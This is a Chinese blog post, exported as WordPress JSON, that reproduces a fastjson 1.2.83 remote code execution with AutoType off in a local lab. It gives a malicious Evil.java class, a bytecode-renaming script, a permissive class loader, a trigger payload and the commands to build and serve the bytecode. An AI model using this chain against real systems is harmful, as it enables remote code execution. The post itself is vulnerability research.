{"id":346,"date":"2026-08-03T00:06:42","date_gmt":"2026-08-02T16:06:42","guid":{"rendered":"https:\/\/arknight.wiki\/?p=346"},"modified":"2026-08-03T00:06:42","modified_gmt":"2026-08-02T16:06:42","slug":"fastjson-1-2-83-rce-%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/08\/03\/fastjson-1-2-83-rce-%e5%a4%8d%e7%8e%b0\/","title":{"rendered":"fastjson 1.2.83 RCE \u590d\u73b0"},"content":{"rendered":"<h1>fastjson 1.2.83 RCE \u590d\u73b0<\/h1>\n<p><a href=\"https:\/\/fearsoff.org\/cn\/research\/fastjson-1-2-83-rce\">Fastjson 1.2.83 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff1aAutoType \u5173\u95ed\u4e0b\u7684 SSRF \u5230 RCE<\/a><\/p>\n<h2>\u73af\u5883\uff1a<\/h2>\n<p>jdk 8\/17<\/p>\n<p>fastjson 1.2.83<\/p>\n<p>\u914d\u7f6e\uff1a\u5173\u95ed AutoType<\/p>\n<h2>AutoType\u662f\u4ec0\u4e48\uff1a<\/h2>\n<p>fastjson \u6709\u4e2a\u529f\u80fd\u53eb AutoType\u3002\u5982\u679c\u4f60\u7684 JSON \u91cc\u5e26\u6709\u7279\u6b8a\u7684\u00a0<code>@type<\/code>\u00a0\u952e\uff0cfastjson \u89e3\u6790JSON\u65f6\u5c31\u4f1a\u628a\u5b83\u7684\u503c\u5f53\u4f5c\u4e00\u4e2a Java \u7c7b\u540d\uff0c\u5e76\u521b\u5efa\u8fd9\u4e2a\u7c7b\u7684\u5b9e\u4f8b\u3002\u8fd9\u5c31\u5bfc\u81f4\u6211\u4eec\u53ef\u4ee5\u521b\u5efa\u6076\u610f\u7c7b\u5e76\u5c06\u5176\u5b9e\u4f8b\u5316\u3002<\/p>\n<p>\u683c\u5f0f\uff1a<\/p>\n<pre><code>{\"@type\":\"com.fearsoff.Test\",\"name\":\"whatever\"}<\/code><\/pre>\n<p>\u53ef\u662f\uff0c\u5728\u5173\u95ed AutoType\u7684\u60c5\u51b5\u4e0b\uff0cfastjson \u9ed8\u8ba4\u4e0d\u518d\u81ea\u52a8\u8bc6\u522b\u548c\u5904\u7406 <code>@type<\/code> \u5b57\u6bb5\u3002<\/p>\n<h2>\u6e90\u7801\u5206\u6790\uff1a<\/h2>\n<p>\u6211\u4eec\u770bcom.alibaba.fastjson.parser\u7c7b\u7684\u90e8\u5206\u6e90\u7801\uff1a<\/p>\n<pre><code>        boolean jsonType = false;\n        InputStream is = null;\n        try {\n            String resource = typeName.replace('.', '\/') + \".class\";\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u5c06\u8d44\u6e90\u540d\u7684\u201c.\u201d\u66ff\u6362\u4e3a\u201c\/\u201d\n            if (defaultClassLoader != null) {\n                is = defaultClassLoader.getResourceAsStream(resource);\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u8fd9\u91cc\u7528getResourceAsStream\u8bfb\u53d6resource\n            } else {\n                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);\n            }\n            if (is != null) {\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u4e0b\u9762\u8fd9\u4e00\u6bb5\u4f5c\u7528\u662f\u8bfb\u53d6\u5b57\u8282\u7801\u5224\u65ad\u662f\u5426\u6709@JSONType\u6ce8\u89e3\uff0c\u5229\u7528\u7684\u65f6\u5019\u81ea\u5df1\u5199\u5c31\u884c\n                ClassReader classReader = new ClassReader(is, true);\n                TypeCollector visitor = new TypeCollector(\"&lt;clinit&gt;\", new Class[0]);\n                classReader.accept(visitor);\n                jsonType = visitor.hasJsonType();\n            }\n        } catch (Exception e) {\n            \/\/ skip\n        } finally {\n            IOUtils.close(is);\n        }\n\n        if (autoTypeSupport || jsonType || expectClassFlag) {\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u7531\u4e8e\u6211\u4eec\u5199\u4e86@JSONType\uff0cjsonType\u4e3a\u771f\u8fdb\u5165\u4e0b\u5c42\n            boolean cacheClass = autoTypeSupport || jsonType;\n            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u52a0\u8f7d\u7c7b\u5e76\u8fd4\u56de\n        }\n\n        if (clazz != null) {\n            if (jsonType) {\n                if (autoTypeSupport) {\n                    TypeUtils.addMapping(typeName, clazz);\n                }\n                return clazz;\n            }<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u5373\u4f7f\u662f\u5728\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\uff0c\u4e5f\u4f1a\u7528<code>is = defaultClassLoader.getResourceAsStream(resource);\u00a0<\/code>\u6765\u5904\u7406\u6211\u4eec\u4f20\u5165\u7684<code>@type<\/code> \u5b57\u6bb5\u6211\u4eec\u770b\u770b<code>getResourceAsStream<\/code>\u65b9\u6cd5\u7684\u5177\u4f53\u5b9e\u73b0\uff1a<\/p>\n<pre><code>    \/**\n     * Returns an input stream for reading the specified resource.\n     *\n     * &lt;p&gt; The search order is described in the documentation for {@link\n     * #getResource(String)}.  &lt;\/p&gt;\n     *\n     * &lt;p&gt; Resources in named modules are subject to the encapsulation rules\n     * specified by {@link Module#getResourceAsStream Module.getResourceAsStream}.\n     * Additionally, and except for the special case where the resource has a\n     * name ending with \"{@code .class}\", this method will only find resources in\n     * packages of named modules when the package is {@link Module#isOpen(String)\n     * opened} unconditionally. &lt;\/p&gt;\n     *\n     * @param  name\n     *         The resource name\n     *\n     * @return  An input stream for reading the resource; {@code null} if the\n     *          resource could not be found, the resource is in a package that\n     *          is not opened unconditionally, or access to the resource is\n     *          denied by the security manager.\n     *\n     * @throws  NullPointerException If {@code name} is {@code null}\n     *\n     * @since  1.1\n     * @revised 9\n     *\/\n    public InputStream getResourceAsStream(String name) {\n        Objects.requireNonNull(name);\n        URL url = getResource(name);\n        try {\n            return url != null ? url.openStream() : null;\n        } catch (IOException e) {\n            return null;\n        }\n    }\n<\/code><\/pre>\n<p>\u4f5c\u7528\u662f<strong>\u6839\u636e\u8d44\u6e90\u540d\u79f0,\u8fd4\u56de\u4e00\u4e2a\u53ef\u4ee5\u8bfb\u53d6\u8be5\u8d44\u6e90\u7684 <code>InputStream<\/code><\/strong>\uff0c\u5982\u679c\u8d44\u6e90\u4e0d\u5b58\u5728\u6216\u65e0\u6cd5\u8bbf\u95ee,\u8fd4\u56de <code>null<\/code>\u3002\u800c\u4e14\uff0c\u5b83\u652f\u6301\u4f7f\u7528url\u52a0\u8f7d\u8d44\u6e90\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5b83\u8bbf\u95ee\u6211\u4eec\u7684\u670d\u52a1\u5668\u6765\u4e0b\u8f7d\u6076\u610f\u5b57\u8282\u7801\u3002\u4e0d\u8fc7\u9700\u8981\u6ce8\u610f\u7531\u4e8e<code>.<\/code>\u4f1a\u88ab\u66ff\u6362\u4e3a<code>\/<\/code>\uff0c\u6240\u4ee5\u57df\u540d\u4e0d\u80fd\u542b\u6709<code>.<\/code>\u3002\u6211\u4eec\u7528IP \u5730\u5740\u7684\u6574\u6570\u5f62\u5f0f\u7ed5\u8fc7\u3002\u5982<code>127.0.0.1<\/code>\u00a0\u5199\u6210\u4e00\u4e2a\u6574\u6570\u5c31\u662f\u00a0<code>2130706433<\/code>\u3002\u6211\u4eec\u5c31\u53ef\u4ee5\u5199\uff1a<code>{\"@type\":\"http:\/\/2130706433:31337\/probe\"}<\/code>\u3002\u800c\u4e14\u540e\u9762\u6211\u4eec\u53ef\u4ee5\u770b\u5230\uff0c\u7531\u4e8e\u5728\u5b57\u8282\u7801\u91cc\u5199\u4e86<code>@JSONType<\/code>\uff0c\u6761\u4ef6\u5224\u65ad\u4e3a\u771f\uff0c\u4f1a\u52a0\u8f7d\u5e76\u5b9e\u4f8b\u5316\u6211\u4eec\u4f20\u5165\u7684\u5b57\u8282\u7801\u3002\u4e0d\u8fc7\u9700\u8981\u6ce8\u610f\uff0c\u4e00\u4e9b<code>classloader<\/code>\uff08\u5982\u9ad8\u7248\u672cjdk\u7b49\u539f\u56e0\uff09\u4e0d\u652f\u6301<code>:\/\/<\/code>\u8fd9\u6837\u7684\u53cc<code>\/<\/code>\u51fa\u73b0\uff0c\u4f1a\u52a0\u8f7d\u9519\u8bef\uff0c\u4f46\u662f\u53ef\u4ee5\u53bb<code>\/proc\/self\/fd<\/code>\u8bbf\u95ee\u5230\u88ab\u4e0b\u8f7d\u4f46\u662f\u5b9a\u4e49\u9519\u8bef\u7684\u5b57\u8282\u7801\uff0c\u7531\u6b64\u8fbe\u6210rce\u3002<\/p>\n<h3>\/proc\/self\/fd\uff1a<\/h3>\n<p>\u5f53 JVM \u901a\u8fc7\u00a0<code>jar:http<\/code>\u00a0\u4e0b\u8f7d\u4e00\u4e2a\u8fdc\u7a0b jar \u65f6\uff0c\u5b83\u5e76\u4e0d\u662f\u6d41\u5f0f\u8bfb\u53d6\uff0c\u800c\u662f\u628a\u6574\u4e2a\u6587\u4ef6\u4fdd\u5b58\u5230\u4e00\u4e2a\u4e34\u65f6\u6587\u4ef6\u00a0<code>\/tmp\/jar_cache&lt;\u968f\u673a&gt;.tmp<\/code>\uff0c\u6253\u5f00\u5b83\uff0c\u7136\u540e\u5728\u4fdd\u6301\u6253\u5f00\u7684\u540c\u65f6\u628a\u8fd9\u4e2a\u6587\u4ef6\u4ece\u78c1\u76d8\u4e0a\u5220\u9664\u3002\u6587\u4ef6\u4ece\u76ee\u5f55\u5217\u8868\u91cc\u6d88\u5931\u4e86\uff0c\u4f46\u901a\u8fc7\u90a3\u4e2a\u4ecd\u7136\u6253\u5f00\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\u4f9d\u7136\u5b8c\u5168\u53ef\u8bfb\u3002\u5728 Linux \u4e0a\uff0c\u4e00\u4e2a\u6253\u5f00\u7684\u63cf\u8ff0\u7b26\u00a0<code>N<\/code>\u00a0\u53ef\u4ee5\u901a\u8fc7\u00a0<code>\/proc\/self\/fd\/N<\/code>\u00a0\u8bbf\u95ee\u5230\u3002<\/p>\n<h2>\u590d\u73b0\u8fc7\u7a0b\uff1a<\/h2>\n<p>jdk 8\uff0cwindows\u73af\u5883\uff1a<\/p>\n<p>\u76ee\u5f55\u7ed3\u6784\uff1a<\/p>\n<pre><code>vuln-lab\/                 \n\u251c\u2500\u2500 lib\/                   \u2190 \u653e fastjson \u4f9d\u8d56\n\u251c\u2500\u2500 payload\/               \u2190 \u6076\u610f\u5b57\u8282\u7801\uff08\u653b\u51fb\u8005\u670d\u52a1\u5668\u8981\u53d1\u7684\u6587\u4ef6\uff09\n\u251c\u2500\u2500 patch.py               \u2190 \u8865\u4e01\u5de5\u5177\n\u2514\u2500\u2500 demo\/                  \u2190 \u6f0f\u6d1e\u89e6\u53d1\u4ee3\u7801<\/code><\/pre>\n<p>\u6076\u610f\u7c7b Evil.java\uff1a\u6211\u4eec\u4f20\u7ed9\u76ee\u6807\u7684\u6076\u610f\u7c7b\uff0c\u5b9e\u4f8b\u5316\u81ea\u52a8\u6267\u884c\u6076\u610f\u4ee3\u7801<\/p>\n<pre><code>import com.alibaba.fastjson.annotation.JSONType;\n\n@JSONType\npublic class Evil {\n\n    static {\n        System.out.println(\"[EVIL] &lt;clinit&gt; executing!\");\n        try {\n            boolean win = System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n            Process p = win\n                ? Runtime.getRuntime().exec(new String[]{\"cmd.exe\", \"\/c\", \"calc.exe\"})\n                : Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", \"echo calc-demo\"});\n            System.out.println(\"[EVIL] exec exit=\" + p.waitFor());\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public Evil() {\n    }\n}<\/code><\/pre>\n<p>\u5de5\u5177 patch.py\uff1a\u76f4\u63a5\u8dd1\u4f1a\u5f97\u5230 <code>NoClassDefFoundError: ... (wrong name: Evil)<\/code> \u2014\u2014 JVM \u8981\u6c42\u8bf7\u6c42\u7c7b\u540d\u548c\u5b57\u8282\u7801\u5185\u90e8\u540d\u4e00\u81f4\u3002\u8fd9\u4e2apy\u811a\u672c\u7528\u4e8e\u6539\u7c7b\u5185\u90e8\u540d<\/p>\n<pre><code>#!\/usr\/bin\/env python3\n\"\"\"\u5e38\u91cf\u6c60\u611f\u77e5\u7684\u7c7b\u540d\u91cd\u547d\u540d: \u628a this_class \u7684 UTF8 \u6362\u6210\u4efb\u610f\u957f\u5ea6\u7684\u65b0\u540d\u5b57\"\"\"\nimport struct\nimport sys\n\ndef patch(in_path, out_path, new_name):\n    data = bytearray(open(in_path, 'rb').read())\n    old_name = new_name.split('\/')[-1]      # \u7ea6\u5b9a: \u65b0\u540d\u6700\u540e\u4e00\u6bb5 == \u539f\u7c7b\u540d\n\n    p = 8                                   # \u8df3\u8fc7 magic(4) + \u7248\u672c(4)\n    cp_count = struct.unpack('&gt;H', data[p:p + 2])[0]\n    p += 2\n\n    pool = bytearray(struct.pack('&gt;H', cp_count))\n    replaced = False\n    idx = 1\n    while idx &lt; cp_count:\n        tag = data[p]\n        if tag == 1:                        # CONSTANT_Utf8: tag(1) + \u957f\u5ea6(2) + \u5185\u5bb9\n            ln = struct.unpack('&gt;H', data[p + 1:p + 3])[0]\n            s = data[p + 3:p + 3 + ln].decode('utf-8')\n            if not replaced and s == old_name:\n                s = new_name\n                replaced = True\n            b = s.encode('utf-8')\n            pool += bytes([1]) + struct.pack('&gt;H', len(b)) + b\n            p += 3 + ln\n        elif tag in (3, 4):                 # Integer\/Float: 5 \u5b57\u8282\n            pool += data[p:p + 5]; p += 5\n        elif tag in (5, 6):                 # Long\/Double: 9 \u5b57\u8282, \u5360 2 \u4e2a\u69fd\u4f4d\n            pool += data[p:p + 9]; p += 9; idx += 1\n        elif tag in (7, 8):                 # Class\/String: 3 \u5b57\u8282\n            pool += data[p:p + 3]; p += 3\n        elif tag in (9, 10, 11, 12):        # Fieldref\/Methodref\/...: 5 \u5b57\u8282\n            pool += data[p:p + 5]; p += 5\n        elif tag == 15:                     # MethodHandle: 4 \u5b57\u8282\n            pool += data[p:p + 4]; p += 4\n        elif tag == 16:                     # MethodType: 3 \u5b57\u8282\n            pool += data[p:p + 3]; p += 3\n        elif tag in (17, 18):               # Dynamic\/InvokeDynamic: 5 \u5b57\u8282\n            pool += data[p:p + 5]; p += 5\n        elif tag in (19, 20):               # Module\/Package: 4 \u5b57\u8282\n            pool += data[p:p + 4]; p += 4\n        else:\n            raise Exception('unknown tag %d' % tag)\n        idx += 1\n\n    if not replaced:\n        raise Exception('\"%s\" not found in pool' % old_name)\n\n    open(out_path, 'wb').write(data[:8] + pool + data[p:])\n    print('[+] patched: %s -&gt; %s' % (old_name, new_name))\n\nif __name__ == '__main__':\n    patch(sys.argv[1], sys.argv[1], sys.argv[2])<\/code><\/pre>\n<p>\u52a0\u8f7d\u5668 RemoteLoader.java\uff1a\u6a21\u62df Spring Boot<\/p>\n<p>\u6a21\u62df\u8f83\u4e3a\u5bbd\u677e\u7684\u7c7b\u52a0\u8f7d\u5668\u73af\u5883<\/p>\n<pre><code>import java.io.ByteArrayOutputStream;\nimport java.io.InputStream;\nimport java.net.URL;\nimport java.net.URLClassLoader;\n\npublic class RemoteLoader extends URLClassLoader {\n\n    public RemoteLoader(ClassLoader parent) {\n        super(new URL[0], parent);\n    }\n\n    @Override\n    public InputStream getResourceAsStream(String name) {\n        InputStream local = super.getResourceAsStream(name);  \/\/ \u672c\u5730 classpath \u4f18\u5148\n        if (local != null) return local;\n        try {\n            if (name.startsWith(\"http:\/\/\") || name.startsWith(\"jar:\")) {\n                return new URL(name).openStream();            \/\/ \u2190 SSRF \u5c31\u5728\u8fd9\u91cc\u53d1\u751f\n            }\n        } catch (Exception e) { }\n        return null;\n    }\n\n    @Override\n    protected Class&lt;?&gt; loadClass(String name, boolean resolve) throws ClassNotFoundException {\n        synchronized (getClassLoadingLock(name)) {\n            Class&lt;?&gt; loaded = findLoadedClass(name);\n            if (loaded != null) return loaded;\n            if (name.startsWith(\"http:\") || name.startsWith(\"jar:\")) {\n                try {\n                    String path = name.replace('.', '\/') + \".class\";\n                    try (InputStream is = new URL(path).openStream()) {\n                        ByteArrayOutputStream bos = new ByteArrayOutputStream();\n                        byte[] buf = new byte[4096];\n                        int n;\n                        while ((n = is.read(buf)) != -1) bos.write(buf, 0, n);\n                        byte[] bytes = bos.toByteArray();\n                        return defineClass(name, bytes, 0, bytes.length);  \/\/ \u2190 \u52a0\u8f7d\u70b9\n                    }\n                } catch (Exception e) {\n                    throw new ClassNotFoundException(name, e);\n                }\n            }\n            return super.loadClass(name, resolve);\n        }\n    }\n}<\/code><\/pre>\n<p>\u6f0f\u6d1e\u89e6\u53d1\u811a\u672c\uff1a VulnDemo.java\uff08\u89e6\u53d1json\u89e3\u6790\u8fdb\u800c\u89e6\u53d1\u6f0f\u6d1e\uff09<\/p>\n<pre><code>import com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.parser.ParserConfig;\n\nimport java.lang.reflect.Field;\n\npublic class VulnDemo {\n\n    public static void main(String[] args) throws Exception {\n        \/\/ \u2460 payload: 127.0.0.1 \u5199\u6210\u6574\u6570 2130706433 (\u70b9\u53f7\u4f1a\u88ab replace('.','\/') \u7834\u574f)\n        \/\/    \"..\" \u5c31\u662f \"\/\/\" \u7684\u7f16\u7801\n        String payload = \"{\"@type\":\"http:..2130706433:19090.Evil\"}\";\n        System.out.println(\"[*] payload = \" + payload);\n\n        \/\/ \u2461 \u628a fastjson \u7684\u9ed8\u8ba4\u7c7b\u52a0\u8f7d\u5668\u6362\u6210\u8fdc\u7a0b\u52a0\u8f7d\u5668 (\u6a21\u62df Spring Boot \u73af\u5883)\n        Field f = ParserConfig.class.getDeclaredField(\"defaultClassLoader\");\n        f.setAccessible(true);\n        f.set(ParserConfig.getGlobalInstance(),\n              new RemoteLoader(VulnDemo.class.getClassLoader()));\n        System.out.println(\"[*] defaultClassLoader = RemoteLoader\");\n\n        \/\/ \u2462 \u89e6\u53d1\u6f0f\u6d1e \u2014\u2014 \u89e3\u6790\u8fc7\u7a0b\u5373\u653b\u51fb\u8fc7\u7a0b\n        Object result = JSON.parse(payload);\n        System.out.println(\"[*] parsed = \" + result);\n    }\n}<\/code><\/pre>\n<p>\u4e00\u4e2a\u4e00\u952e\u6267\u884c\u7684\u547d\u4ee4\u884c\uff1a<\/p>\n<pre><code>rem ===== \u2460 \u7f16\u8bd1\u6076\u610f\u7c7b (JDK 8!) =====\ncd payload\n\"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjavac\" -encoding UTF-8 -cp ..libfastjson-1.2.83.jar Evil.java\n\nrem ===== \u2461 \u6253\u8865\u4e01: \u628a\u5185\u90e8\u540d\u6539\u6210 URL \u5f62\u6001 =====\npy ..patch.py Evil.class http:\/\/2130706433:19090\/Evil\n\nrem ===== \u2462 \u8d77\u6076\u610f\u5b57\u8282\u7801\u670d\u52a1 (\u65b0\u5f00\u4e00\u4e2a cmd \u7a97\u53e3, \u4fdd\u6301\u8fd0\u884c) =====\npy -m http.server 19090\n\nrem ===== \u2463 \u7f16\u8bd1\u6f0f\u6d1e\u89e6\u53d1\u4ee3\u7801 =====\ncd ..demo\n\"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjavac\" -encoding UTF-8 -d . -cp ..libfastjson-1.2.83.jar VulnDemo.java RemoteLoader.java\n\nrem ===== \u2464 \u8fd0\u884c \u2192 \u8ba1\u7b97\u5668\u5f39\u51fa! =====\n\"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjava\" -cp \".;..libfastjson-1.2.83.jar\" VulnDemo<\/code><\/pre>\n<p>\u5b8c\u6210\u590d\u73b0\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/08\/2bdcff00-6280-49d2-a412-a467f53ca31b.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-347\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/08\/2bdcff00-6280-49d2-a412-a467f53ca31b.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1599\" height=\"922\"  sizes=\"auto, (max-width: 1599px) 100vw, 1599px\" \/><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"<p>fastjson 1.2.83 RCE \u590d\u73b0 Fastjson 1.2.83 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff1aAutoType  [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,17],"tags":[],"class_list":["post-346","post","type-post","status-publish","format-standard","hentry","category-3","category-17"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=346"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/346\/revisions"}],"predecessor-version":[{"id":348,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/346\/revisions\/348"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}